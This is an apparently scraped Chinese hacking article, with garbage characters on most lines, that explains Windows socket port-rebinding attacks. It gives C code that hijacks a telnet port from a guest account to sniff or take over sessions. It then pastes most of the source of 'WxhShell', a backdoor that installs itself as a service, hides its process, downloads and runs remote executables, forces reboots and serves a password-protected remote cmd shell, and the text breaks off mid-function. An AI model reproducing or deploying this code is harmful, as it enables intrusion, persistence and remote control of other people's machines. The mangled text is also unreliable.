在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Az?^4 1r8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d?/g5[ J-klpr# saddr.sin_family = AF_INET;
x],XiSyp BoARM{m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zqXDD; w3 r#}o
+3* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
HYJEz2RF O
~[[JAi[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_3g!_ 04Uyr;y 这意味着什么?意味着可以进行如下的攻击:
7#N= GN 64'sJc. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
][ 8`}ki 1 p gv, Su 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
cxPO O# mgq4g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
RO[X#c {?mb.~( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
QPFv]^s( uE%2kB*] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7D~~<45ct #rz!d/)Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!Ap*PL E;k$ICOXA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}1a(*s,s-^ XZTH[#MqeI #include
':=20V #include
m.5@qmQ #include
[*H h6 #include
g\49[U}[~F DWORD WINAPI ClientThread(LPVOID lpParam);
SHnMqaq int main()
Y$ KR\ m {
=|c7#GaiF WORD wVersionRequested;
x97L>>| DWORD ret;
W:}t%agis WSADATA wsaData;
ATV|M[B BOOL val;
0@
vzQ$ SOCKADDR_IN saddr;
! bX SOCKADDR_IN scaddr;
&pv*TL8 int err;
\SJX;7ST SOCKET s;
3?+t%_[ SOCKET sc;
w H`GzB" int caddsize;
Ty;^3 HANDLE mt;
kH[thRk} DWORD tid;
R3#| *)q wVersionRequested = MAKEWORD( 2, 2 );
ZxCXru1 err = WSAStartup( wVersionRequested, &wsaData );
+
:b"0pu-H if ( err != 0 ) {
'+GYw$ printf("error!WSAStartup failed!\n");
#~r+Z[(,p return -1;
W=n
Hi\jLV }
@cG+D saddr.sin_family = AF_INET;
*oh,Va >v1.Gm //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M pz9}[`3g VAdUd { saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g/i.b& saddr.sin_port = htons(23);
wj Kc!iB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
')WS :\J {
GN+,9 printf("error!socket failed!\n");
n(Um/ return -1;
_Q b].~ }
lI9|"^n7F val = TRUE;
vcP_gJz //SO_REUSEADDR选项就是可以实现端口重绑定的
7VLn$q]: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+Q :)zE {
R0GD9 printf("error!setsockopt failed!\n");
'^'PdB return -1;
[XP\WG>s }
gU@R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!H9zd\wc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
LZJFp@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<yw=+hz[u #)%X0%9.*< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&5%~Qw.. {
+N|t:8qaf ret=GetLastError();
ciCQe]fS printf("error!bind failed!\n");
FaaxfcIfkw return -1;
=<P$mFP2* }
8xoC9!xt listen(s,2);
K8v@) while(1)
raR=k!3i {
7?uIl9Vk>( caddsize = sizeof(scaddr);
HeHo?<>|d //接受连接请求
:?)q"hE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wZj`V_3 if(sc!=INVALID_SOCKET)
hu~XFRw15 {
ji5Nq+S2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$A98h-*x if(mt==NULL)
k+eeVy {
]-OF3+l4 printf("Thread Creat Failed!\n");
zpcO7AY~ break;
TH~"y }
j:2*hF!E }
6""i<oR CloseHandle(mt);
1[e%E#h }
7lzmAih closesocket(s);
,Mn`kL<F WSACleanup();
Ai`0Ud,M@ return 0;
}%3i8e }
[q|8.>sB DWORD WINAPI ClientThread(LPVOID lpParam)
?{OU%usQwE {
lQ2vQz-J SOCKET ss = (SOCKET)lpParam;
Et&PzDvU SOCKET sc;
<4"Bb_U unsigned char buf[4096];
LiEDTXRz SOCKADDR_IN saddr;
W;F=7[h long num;
CI|#,^ DWORD val;
@3?dI@i( DWORD ret;
=vb 'T //如果是隐藏端口应用的话,可以在此处加一些判断
"OrF81 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?Elt;wL( saddr.sin_family = AF_INET;
h0-CTPQ7A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'pT8S saddr.sin_port = htons(23);
c:-n0m'i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-[z1r)RZ {
Z:VT%- printf("error!socket failed!\n");
6 _#C vQ return -1;
[-nPHmZV[ }
u X(#+ val = 100;
@CA{uP; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y# IUDnRJ {
CmtDfE ret = GetLastError();
[tJp^?6* return -1;
z2;<i|Ez0 }
xv_Z$&9e>l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]ia{N {
8@KGc
)k ret = GetLastError();
\Bl`;uXb return -1;
D\z`+TyJ }
p<Vj<6.=? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y6>fK@K~ {
~@D{&7@ printf("error!socket connect failed!\n");
#ahe@|E'Y closesocket(sc);
z+j3j2 closesocket(ss);
7C~g?1 return -1;
4` :Eiik&p }
#D%l;Ae while(1)
n7bML?f' {
"]yfx@)_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
OlX
otp8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
ezhK[/E= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}t1J`+x% num = recv(ss,buf,4096,0);
Qt=OiKZ if(num>0)
W'Y#(N[ktP send(sc,buf,num,0);
9gETWz(3I else if(num==0)
A3Vj3em break;
^{64b num = recv(sc,buf,4096,0);
gzp]hh@4 if(num>0)
GAlM:> send(ss,buf,num,0);
b2hXFwPe else if(num==0)
lkb,UL;V break;
[:l=>yJ{( }
KK/siG~O closesocket(ss);
|p*s:*TJp closesocket(sc);
X>eFGCz}I return 0 ;
]mx1djNA }
Gyy?cn6_ Yo,n#<37 K^c%$n:}+ ==========================================================
P A$jR
fQ G@,XUP 下边附上一个代码,,WXhSHELL
=u.hHkx Wtp;se@# ==========================================================
_[y<u})
{s?x
NU #include "stdafx.h"
=la~D]T*g ;2547b[] #include <stdio.h>
@E?o~jO(e #include <string.h>
dz)(~@tgz #include <windows.h>
#$,b )Uy #include <winsock2.h>
=m?x5G^ #include <winsvc.h>
Vd A!tL #include <urlmon.h>
CD)JCv e^-CxHwA- #pragma comment (lib, "Ws2_32.lib")
~L9I@(/S #pragma comment (lib, "urlmon.lib")
le~p2l#e Gg{M #define MAX_USER 100 // 最大客户端连接数
OsgjSJrf #define BUF_SOCK 200 // sock buffer
R rp-SR?O #define KEY_BUFF 255 // 输入 buffer
A7zL\U4 nZ#0L`@"Y #define REBOOT 0 // 重启
1m<8M[6u #define SHUTDOWN 1 // 关机
h:<?)g~U +.66Ky`|[ #define DEF_PORT 5000 // 监听端口
WdT iao,r 4X$|jGQ\ #define REG_LEN 16 // 注册表键长度
_{?-=<V'_ #define SVC_LEN 80 // NT服务名长度
m 8P`n j2=|,AmC // 从dll定义API
BSyS
DM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}}zY]A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"?s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@"/:Omh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T0%l$#6v otdm rw| // wxhshell配置信息
/>V&
OX` struct WSCFG {
:+meaxbu int ws_port; // 监听端口
t+A9nvj) char ws_passstr[REG_LEN]; // 口令
4&G
#Bi int ws_autoins; // 安装标记, 1=yes 0=no
6rN.)dL.#N char ws_regname[REG_LEN]; // 注册表键名
!5>PZ{J char ws_svcname[REG_LEN]; // 服务名
{,e-;2q char ws_svcdisp[SVC_LEN]; // 服务显示名
VH<-||X/4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
G@o\D-$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$)VnHr `hy int ws_downexe; // 下载执行标记, 1=yes 0=no
)^j62uv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>ui;B$= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|_%q@EID iB5'mb* };
%ZGG6Xgw m[Cp
G=32B // default Wxhshell configuration
#2?3B struct WSCFG wscfg={DEF_PORT,
\ 9#X]H "xuhuanlingzhe",
jh/aK_Q,w 1,
.:B;%* "Wxhshell",
:rEZR ` "Wxhshell",
#E4|@}30` "WxhShell Service",
PgYIQpV "Wrsky Windows CmdShell Service",
E>bpq^;r "Please Input Your Password: ",
c2fw;)j&X 1,
PySFhb@ "
http://www.wrsky.com/wxhshell.exe",
yMJ(Sf "Wxhshell.exe"
\n^;r|J7k };
> QG@P pLtK :Z // 消息定义模块
Z~ u3{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
R#HX}[Hb char *msg_ws_prompt="\n\r? for help\n\r#>";
B9S@G{` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'm.+ S8 char *msg_ws_ext="\n\rExit.";
Dao=2JB{ char *msg_ws_end="\n\rQuit.";
Gk:k
px char *msg_ws_boot="\n\rReboot...";
3|4<SMm char *msg_ws_poff="\n\rShutdown...";
?7A>|p?" char *msg_ws_down="\n\rSave to ";
H}gp`YW:4 <AU0ir char *msg_ws_err="\n\rErr!";
wx_j)Wij6 char *msg_ws_ok="\n\rOK!";
- 9a4ej5
fxc?+<P char ExeFile[MAX_PATH];
KxQMPtHstz int nUser = 0;
o~26<Lk HANDLE handles[MAX_USER];
^n*:zmD int OsIsNt;
2Wr^#PY60 $aHHXd}@t2 SERVICE_STATUS serviceStatus;
1Hs'YzvY SERVICE_STATUS_HANDLE hServiceStatusHandle;
5.QY{+k Fmzkbt~oe // 函数声明
XUTsW,WC int Install(void);
DY1"t7
9E int Uninstall(void);
Hh*
KcIRX int DownloadFile(char *sURL, SOCKET wsh);
UHBMl>~z int Boot(int flag);
?b\oM
v5y void HideProc(void);
Z=(Tq1t int GetOsVer(void);
j eyGIY int Wxhshell(SOCKET wsl);
0N_u6*@ void TalkWithClient(void *cs);
ku
GaOO
int CmdShell(SOCKET sock);
j8;Uny9 int StartFromService(void);
X}`39r. int StartWxhshell(LPSTR lpCmdLine);
Uz%2{HB@{ yacN=]SW5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$ J!PSF8PL VOID WINAPI NTServiceHandler( DWORD fdwControl );
piXL6V @c #?'@?0<6 // 数据结构和表定义
;Swy5z0=ro SERVICE_TABLE_ENTRY DispatchTable[] =
5.
+_'bF| {
+-qa7 {wscfg.ws_svcname, NTServiceMain},
^;wz+u4^l {NULL, NULL}
1wBmDEhS };
ym'!f|9AA b;5
M$
// 自我安装
!1Nh`FN int Install(void)
+NVXFjPC {
Cm9#FA char svExeFile[MAX_PATH];
0U?(EJ HKEY key;
5RyxVC0< strcpy(svExeFile,ExeFile);
/ACau<U]t >.-4CJ])d // 如果是win9x系统,修改注册表设为自启动
A+(+PfU if(!OsIsNt) {
5aNvGI1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g-4ab|F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'l_F@ZO{( RegCloseKey(key);
(W?t'J^# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z:YgG.z" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`@{(ijg. RegCloseKey(key);
1P
WTbd l return 0;
ZP
]Ok }
#szIYyk }
FmgMd)# }
fpJ%{z2 else {
Xq}}T%jcd FT!X r // 如果是NT以上系统,安装为系统服务
:"cKxd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S}qGf%
if (schSCManager!=0)
rA}mp] {
mSGpxZ,IE SC_HANDLE schService = CreateService
8Z3:jSgk (
S" (Nf+ux schSCManager,
v7,- Q* wscfg.ws_svcname,
I8k+Rk* wscfg.ws_svcdisp,
~cV";cD5 SERVICE_ALL_ACCESS,
C$4{'J-ZH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H'Jz:6 SERVICE_AUTO_START,
3Pvz57z{ SERVICE_ERROR_NORMAL,
gZ8JfA_\R( svExeFile,
~RV"_8`V9 NULL,
&a)d,4e<M NULL,
+'_ peT.8 NULL,
X$_pDF&\z NULL,
S3&n?\CO: NULL
oA3;P]~[ );
*:ErZ UyQM if (schService!=0)
)nrYxxN {
J[c`Qq:&e CloseServiceHandle(schService);
rp|A88Q/! CloseServiceHandle(schSCManager);
x<PJ5G L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
q>.C5t'Qx strcat(svExeFile,wscfg.ws_svcname);
-Ua&/Yd/} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z/d {v:) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^
4*#QtO RegCloseKey(key);
JF=T_SH^U return 0;
z<gII~% }
TeFi[1 }
4gZ)9ya CloseServiceHandle(schSCManager);
wj5,_d) }
b*ja,I4 }
Q7\j:. T8d=@8g,% return 1;
t#w,G }
g!OcWy)7 KNR7Igw?} // 自我卸载
bz.sWBugR int Uninstall(void)
k{U[ U1j {
)Br#R:# HKEY key;
|(CgX6 l3 U2CC#,b!( if(!OsIsNt) {
8fktk?| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZD4aT1|Q7 RegDeleteValue(key,wscfg.ws_regname);
x+b.9f4xJ RegCloseKey(key);
+ WT?p] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VCwC$ts RegDeleteValue(key,wscfg.ws_regname);
Yv0y8Vz@ RegCloseKey(key);
kSEgq<i! return 0;
4p%^?L? }
x,|fblQz }
trB-(B%5 }
C_yNSD else {
oDayfyy4y) |9X2AS Qu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`?SC.KT if (schSCManager!=0)
DuLl"w\_@ {
HMDuP2Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KtArV if (schService!=0)
HZ1 nuA {
MhJA8|B6| if(DeleteService(schService)!=0) {
5sNN:m CloseServiceHandle(schService);
dI>cPqQ CloseServiceHandle(schSCManager);
bh#6yvpMR return 0;
db&!t!#, }
\S&OAe/b CloseServiceHandle(schService);
YMVi7D~;Q$ }
D1@yW}
4 CloseServiceHandle(schSCManager);
|<O^M q }
F{rC{5@fj }
*9aI\#} uGHM ]"!) return 1;
v=Q!ioE7 }
2p4iir -*OL+ // 从指定url下载文件
<PM.4B@ int DownloadFile(char *sURL, SOCKET wsh)
z, FPhbFn {
1/&^~' HRESULT hr;
J#jFX
F\ char seps[]= "/";
3Tp8t6*nL char *token;
<N>7.G char *file;
g_Rp}6g char myURL[MAX_PATH];
c
*<m. char myFILE[MAX_PATH];
btC6R>0 +KWO`WR strcpy(myURL,sURL);
6/ T/A+u token=strtok(myURL,seps);
H!Dj.]T while(token!=NULL)
'Gamb+[ {
$s-B file=token;
v`G}sgn token=strtok(NULL,seps);
lCBH3-0^ }
*{5/" H5 ;=k{[g 'gv GetCurrentDirectory(MAX_PATH,myFILE);
-yb7s2o strcat(myFILE, "\\");
U"oHPK3"TA strcat(myFILE, file);
TjI&8#AWBA send(wsh,myFILE,strlen(myFILE),0);
*'tGi_2?( send(wsh,"...",3,0);
S9ic4rcd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rBi6AM/ if(hr==S_OK)
K\zb+ return 0;
}E[vW else
dvz6 return 1;
3\{\ al IO]tO[P# }
Qwve-[ j5A>aj // 系统电源模块
X*w;6 V int Boot(int flag)
XBB>" {
3Bvz& `\ HANDLE hToken;
K9yZG TOKEN_PRIVILEGES tkp;
J<4_<.o(a (`4&Y- if(OsIsNt) {
L3'isaz&^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xg 8R>j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:RwURv+kT tkp.PrivilegeCount = 1;
hwQ|'^(@O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
94|ZY}8|f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W]_a_5 if(flag==REBOOT) {
HKJ^6|' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l*huKSX} return 0;
eVB43]g }
}2:q#}" else {
dLeos9M: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XKDX*x G return 0;
[2>zaag }
9I$}=&" }
_n{_\/A6f else {
UEt78eN if(flag==REBOOT) {
;' |CSjco if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>n(dyU @ return 0;
Sa0IRC<LV }
V~Z)^.6 else {
XD|Xd|/ { if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
uEG4^ return 0;
5e1oxSU }
Gpcordt/ }
'.8eLN 1?3+> return 1;
#W
l^!)#j? }
%_CL/H
.Cs'@[Ciy // win9x进程隐藏模块
.IVKgQ
B void HideProc(void)
J><hrZ {
x]?V*Jz <eP,/H HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Uovna:" if ( hKernel != NULL )
3Zs0W{OxU {
X+<9-]= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9`5.0** ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ktvs*.? FreeLibrary(hKernel);
6}0_o[23 }
p!)tA "Mv^S'?> return;
q[}re2 }
?I:_FT Ey%[t // 获取操作系统版本
.sOZ "=tW int GetOsVer(void)
m=v.<+> {
c&aqN\'4" OSVERSIONINFO winfo;
4:733Q3oK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G`&P|xYg GetVersionEx(&winfo);
mA_EvzXk\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(n_.bSI return 1;
|nr;OM else
J7e/+W~ return 0;
a?4Asn }
~m0=YAlk? e=IbEm{| // 客户端句柄模块
"LW\osjen int Wxhshell(SOCKET wsl)
KL9JA;" {
k.Gt}\6zP SOCKET wsh;
2n2,MB struct sockaddr_in client;
'MB+cz+v DWORD myID;
N~or.i&a odJE~\\hw while(nUser<MAX_USER)
H!,V7R {
RdL5VAD int nSize=sizeof(client);
!vc5NKv#n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~k?t if(wsh==INVALID_SOCKET) return 1;
;05lwP*r] gbh/` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N1'Yo:_A if(handles[nUser]==0)
xB?!nd closesocket(wsh);
@{Fa=".Ch else
p]Qe5@NT nUser++;
a9_2b}t }
uC#]F@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
p)"EenUK u:J4Az^! return 0;
6W7,EIf }
: 0Y.${h d(9Sk Xr // 关闭 socket
2t void CloseIt(SOCKET wsh)
;A*sub {
.>PwbZ closesocket(wsh);
jv1p'qs4 nUser--;
3/&
|Z<f ExitThread(0);
Z/v )^VR }
B>z^W+Unyn C:bA:O // 客户端请求句柄
@y0kX<M void TalkWithClient(void *cs)
LW("/ {
kI5LG6 3W.D^^)eCV SOCKET wsh=(SOCKET)cs;
Z3ODZfu> char pwd[SVC_LEN];
*tkf)[( char cmd[KEY_BUFF];
]^{5` char chr[1];
LUz`P6 int i,j;
^{++h?cS) a{%EHL,F while (nUser < MAX_USER) {
U~c9PqjZ R iV]SgV9 if(wscfg.ws_passstr) {
_+}hId if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YhAO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/^&$ma\ //ZeroMemory(pwd,KEY_BUFF);
/jq"r-S" i=0;
irjHPuhcG while(i<SVC_LEN) {
akHQ&+[j |L-- j // 设置超时
Aqg$q* Y fd_set FdRead;
?9 `T_, struct timeval TimeOut;
a<+Rw{ FD_ZERO(&FdRead);
,p\*cHB9 FD_SET(wsh,&FdRead);
,pkzNe`F TimeOut.tv_sec=8;
`fVzY"Qv k TimeOut.tv_usec=0;
qPhVc9D# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
AO5a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
HJ!)&xT @OHNz!Lj:d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'Nx"_jQ pwd
=chr[0]; $Df1t
if(chr[0]==0xd || chr[0]==0xa) { +s [_
4
pwd=0; uHDUuK:Ur
break; m^)\P?M5|
} fKua om9
i++; A?)(^
} nRX<$OzTV
8@T0]vH&
// 如果是非法用户,关闭 socket G~Y#l@8M+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xa&:Hg<
} AJzm/,H
lWf(!=0m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?:zMrlX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /T6Te<68^
'XSHl?+q
while(1) { !yV)EJ:$
15DlD`QV
ZeroMemory(cmd,KEY_BUFF); {>brue*)
dQ<e}wtg
// 自动支持客户端 telnet标准 x}reeqn
j=0; ' 94HVag
while(j<KEY_BUFF) { T16B2|C"Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `X`|]mWj
cmd[j]=chr[0]; kYd=DY
if(chr[0]==0xa || chr[0]==0xd) { rj5)b:c}
cmd[j]=0; h 'is#X 6:
break; ^AUQsRA7PZ
} FOcDBCrOe
j++; ab 6D &
} Mq6_Q07
];0:aSi#
// 下载文件 EkN>5).
if(strstr(cmd,"http://")) { *I9G"R8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kaCn@$
if(DownloadFile(cmd,wsh)) W*4!A\K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); er !+QD,EM
else 7G_lGV_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aca?C
} {Z[kvXf"mZ
else { ):Ekf2
s: MJ{r(s
switch(cmd[0]) { $5>x)jr:w+
ayA_[{j%X
// 帮助 :!,.c$M
case '?': { 81wmKqDEs
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |'#uV)b0@
break; 8EI&}I
} Z,b^f
Vw
// 安装 HMR!XF&JjC
case 'i': { 8ZO~=e
if(Install()) Gv\fF;,R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nON"+c*
else lt}U,p,S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ra\|c>[%
break; I,lzyxRP
} An
!i
// 卸载 NW Pd~l+
case 'r': { /bqJ6$
if(Uninstall()) @(rLn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rX&?Xi1JeV
else `P9%[8`C 9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;{cl*EN
break; 'zTa]y]a
} 6IM:Xj
// 显示 wxhshell 所在路径 P99s
case 'p': { VH.}}RS%
char svExeFile[MAX_PATH]; ^EKf_w-v
strcpy(svExeFile,"\n\r");
N/AP8
strcat(svExeFile,ExeFile); );x[1*e
send(wsh,svExeFile,strlen(svExeFile),0); :SpPT
break; !myF_cv}'
} f P1fm
// 重启 mDU-;3OqF
case 'b': { qk(u5Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * (<3 oIRS
if(Boot(REBOOT)) dtq]_HvTJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yAVt[+0
else { vy F(k3W
closesocket(wsh); UIw6~a3E
ExitThread(0); eYRm:KC
} eD 7Rv<
break; Z?'){\$*
} knZ<V%/e
// 关机 1uhSP!b
case 'd': { i'vjvc~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q]t^6m&-
if(Boot(SHUTDOWN)) !GVxQll[f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '
9
else { & |o V\L
closesocket(wsh); -3:x(^|:K
ExitThread(0); w+tO@
} rx;zd ?
break; k$} 6Qd
} WR"p2=
// 获取shell mdHC{sp
case 's': { aMjCqu05
CmdShell(wsh); jl4rEzVu
closesocket(wsh); *CXVA&?
ExitThread(0); \(ZOt.3!J
break; t \C[mw
} YY<e]CriU
// 退出 Q /\Hc
case 'x': { K?+Rq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _qqJ>E<0
CloseIt(wsh); \7,'o] >M-
break; v|mZcAz
} c}FZb$q#
// 离开 \<A@Nf"
case 'q': { |4a#O8d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lL:J:
closesocket(wsh); c^8y/wfok
WSACleanup(); n-_-;TYH
exit(1); v<Ux+-
break; [t`QV2um
} _/!IjB:(70
} c8jq.y v
} %@FTg$
VIxcyp0X
// 提示信息 #65Uei|F`+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}Lx9cL
} ,!4(B1@
} /fc@=CO
0qV!-i
return; {GiR-q{t
} 8~|PZ,oZ
re/l5v,|3
// shell模块句柄 Z`b{r;`m8
int CmdShell(SOCKET sock) ^T|~L<A3
{ p( Q5!3C0q
STARTUPINFO si; %/&?t`%H
ZeroMemory(&si,sizeof(si)); &6L{1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r 6STc,%5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +d736lLe%
PROCESS_INFORMATION ProcessInfo; fhmqO0
char cmdline[]="cmd"; fm\IQqIK%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pJ5Sxgv{;
return 0; uIvE~<
} U{o0Posg
Hd)4_
uBt
// 自身启动模式 O=St}B\!m
int StartFromService(void) OPwj*b:-m
{ ( Qw"^lE3
typedef struct dg1h<]T"9
{ .Eg>)
DWORD ExitStatus; g+k0Fw]!
DWORD PebBaseAddress; 3B|o
DWORD AffinityMask; T!)v9L
DWORD BasePriority; `:A`%Fg8<
ULONG UniqueProcessId; eJ#q! <
